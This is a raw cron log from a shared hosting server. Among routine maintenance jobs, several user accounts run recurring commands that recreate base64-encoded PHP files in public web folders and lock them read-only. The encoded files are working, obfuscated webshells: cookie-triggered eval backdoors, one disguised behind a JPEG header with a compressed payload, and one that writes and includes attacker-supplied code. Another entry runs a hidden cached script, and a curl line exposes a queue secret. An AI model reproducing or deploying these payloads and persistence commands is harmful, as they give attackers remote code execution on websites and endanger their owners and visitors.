Jun  7 07:20:01 medusa CROND[31527]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:20:01 medusa CROND[31531]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:20:01 medusa CROND[31540]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:20:01 medusa CROND[31536]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:20:01 medusa CROND[31514]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 07:20:01 medusa CROND[31537]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:20:01 medusa CROND[31546]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:20:01 medusa CROND[31547]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 07:21:01 medusa CROND[1361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:21:01 medusa CROND[1369]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:21:01 medusa CROND[1370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:21:01 medusa CROND[1372]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:21:01 medusa CROND[1371]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:21:01 medusa CROND[1373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:21:01 medusa CROND[1375]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:21:01 medusa CROND[1378]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:21:01 medusa CROND[1380]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:21:01 medusa CROND[1383]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:21:01 medusa CROND[1386]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:21:01 medusa CROND[1388]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:21:01 medusa CROND[1389]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:21:01 medusa CROND[1392]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:22:01 medusa CROND[3204]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:22:01 medusa CROND[3252]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:22:01 medusa CROND[3255]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:22:01 medusa CROND[3254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:22:01 medusa CROND[3256]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:22:01 medusa CROND[3257]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:22:01 medusa CROND[3253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:22:01 medusa CROND[3262]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:22:01 medusa CROND[3263]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:22:01 medusa CROND[3264]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:22:01 medusa CROND[3265]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:22:01 medusa CROND[3266]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:22:01 medusa CROND[3267]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
